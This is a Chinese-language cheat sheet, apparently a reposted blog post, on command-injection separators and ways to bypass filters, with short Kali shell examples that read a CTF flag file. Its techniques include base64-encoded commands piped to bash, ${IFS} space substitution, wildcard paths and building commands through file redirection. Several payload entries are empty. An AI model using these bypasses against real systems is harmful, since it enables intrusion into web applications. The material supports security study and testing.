命令执⾏漏洞利⽤及绕过⽅式总结命令注⼊常见的⽅法
常见管道符
  Windows系统⽀持的管道符
  Linux系统⽀持的管道符
2.空格过滤
  ${IFS}
  重定向符<>
  %09(需要php环境)
3.⿊名单绕过
  拼接
  base64编码
  单引号,双引号
  反斜线
  $1,$2等和$@
4.读⽂件绕过
5.通配符绕过
6.内敛执⾏绕过
7.绕过长度限制
  Linux中的>符号和>>符号
  Linux中命令换⾏
  利⽤ls -t和>以及换⾏符绕过长度限制执⾏命令(⽂件构造绕过)逐⼀分析
1.常见管道符
Windows系统⽀持的管道符
|直接执⾏后⾯的语句
||如果前⾯命令是错的那么就执⾏后⾯的语句,否则只执⾏前⾯的语句
&前⾯和后⾯命令都要执⾏,⽆论前⾯真假
&&如果前⾯为假,后⾯的命令也不执⾏,如果前⾯为真则执⾏两条命令
Linux系统⽀持的管道符
|、||、&、&&这四种管道符都存在且⽤法和Windows系统下⼀样,多了⼀个;管道符,作⽤和&⼀样2.空格过滤
${IFS}
payload1:
payload2:
payload3:
重定向符<>
payload1:
payload2:
%09(需要php环境)
⿊名单绕过
拼接
base64编码
payload1:
root@kali:~# `echo "Y2F0IGZsYWc="|base64 -d`
this is your flag
payload2:
root@kali:~# echo "Y2F0IGZsYWc="|base64 -d|bash
this is your flag
单引号,双引号
反斜线
$1,$2等和$@
读⽂件绕过
当cat被过滤时,可以使⽤如下命令代替
1 (1)more:⼀页⼀页的显⽰档案内容
2 (2)less:与 more 类似,但是⽐ more 更好的是,他可以[pg dn][pg up]翻页
3 (3)head:查看头⼏⾏
4 (4)tac:从最后⼀⾏开始显⽰,可以看出 tac 是 cat 的反向显⽰
5 (5)tail:查看尾⼏⾏
6 (6)nl:显⽰的时候,顺便输出⾏号
7 (7)od:以⼆进制的⽅式读取档案内容
8 (8)vi:⼀种编辑器,这个也可以查看
9 (9)vim:⼀种编辑器,这个也可以查看
10 (10)sort:可以查看
11 (11)uniq:可以查看
12 (12)file -f:报错出具体内容
通配符绕过
⽐如
1 root@kali:~# //?[a][t] ?''?''?''?''
2this is your flag
3 xx
4 cc
5 xa
6 /bin/cat: test: 是⼀个⽬录
7 root@kali:~# //?at flag
8this is your flag
9 xx
10 cc
11 xa
12 root@kali:~# //?at ?
13this is your flag
14 xx
15 cc
16 xa
17 /bin/cat: test: 是⼀个⽬录
18 root@kali:~# //?[a]''[t] ?''?''?''?''
19this is your flag
20 xx
21 cc
22 xa
23 /bin/cat: test: 是⼀个⽬录
内敛执⾏绕过
`命令`和$(命令)都是执⾏命令的⽅式
绕过长度限制
Linux中的>符号和>>符号
(1)通过>来创建⽂件
(2)通过>将命令结果存⼊⽂件中
使⽤>命令会将原有⽂件内容覆盖,如果是存⼊不存在的⽂件名,那么就会新建该⽂件再存⼊
(3)>>符号的作⽤是将字符串添加到⽂件内容末尾,不会覆盖原内容
Linux中命令换⾏
在Linux中,当我们执⾏⽂件中的命令的时候,我们通过在没有写完的命令后⾯加\,可以将⼀条命令写在多⾏
⽐如⼀条命令cat flag可以如下表⽰
既然可以这样那我们是不是可以在某些限制长度的情况下执⾏命令,将命令⼀条⼀条输⼊⼀个⽂本中
再执⾏,尝试⼀下
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
fl\
ag
root@kali:~# sh cmd
this is your flag
⽤这种⽅法可以绕过⼀些长度限制读取⽂件内容
利⽤ls -t和>以及换⾏符绕过长度限制执⾏命令(⽂件构造绕过)
在linux中,我们使⽤ls -t命令后,可以将⽂件名按照时间顺序排列出来(后创建的排在前⾯)
root@kali:~/example# touch a
root@kali:~/example# touch b
root@kali:~/example# touch c
root@kali:~/example# ls -t
c  b  a
我们来看看ls -t>ghtwf01有什么效果(开始不存在ghtwf01这个⽂件)
root@kali:~/example# ls -t>ghtwf01
linux重定向
root@kali:~/example# cat ghtwf01
ghtwf01
c
b
a
这条命令先执⾏了创建ghtwf01⽂件然后将ls -t的执⾏结果写⼊ghtwf01⽂件
我们试试⽤这些⽅法来执⾏命令cat flag

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。